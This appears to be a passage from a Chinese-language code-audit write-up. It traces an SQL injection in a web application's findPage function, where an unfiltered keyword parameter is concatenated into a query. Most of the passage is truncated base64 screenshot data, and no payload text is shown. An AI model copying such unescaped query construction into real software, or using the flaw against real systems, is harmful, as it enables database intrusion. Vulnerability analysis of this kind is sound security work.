7nmo7pTUrMTxTnuGn5wywza177DG8Wdy5QyMvcnf2XBmN7vmdr/b+5+8F2a5cIQyjaKy2+8njn5w7AGGyj89BVeeH0rLtk3g0opHef+8AVmbr+dR5ZEcNkvH+cr9X/m+09vZOS1f+AG3+Pc/2Z5P3PT40xIJikp9rDfOdXMu3jhsmp+ee+rVJyW7/vgta/+8w1Uzf8Gd/4ij38+9gSrasLHlI8lJgpT3XZWbC06o89LSkUy6vwLGGHvvQ9CFWtYurnqhJShOdIYlZvDsFg7hrAPV00h27eV4OULnxOWLKael0+oYDFbq/wHVlgSyR6TT3K8A5Nqp7VqJ9sLSnvSa440Ro/JJTHagj7kpqF4C9v3NdKh9TN/cVJpjjRG5+eRFGVBH2Line truncated
|
||||
然后是调用了exec参数去执行,这里跟进的是findPage函数。</p>
|
||||
<p blockindex=23><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=24>跟踪到findPage发现keyword没有经过过滤,以及转义直接就使用+的方式拼接进入sql语句种造成了sql注入的问题。</p>
|
||||
<p blockindex=25><img src="data:image/png;base64,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 truncated
|
||||
注入结果:</p>
|
||||
<p blockindex=26><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=27>ps: 要在statArray[21]的时候跟进</p>
|
||||
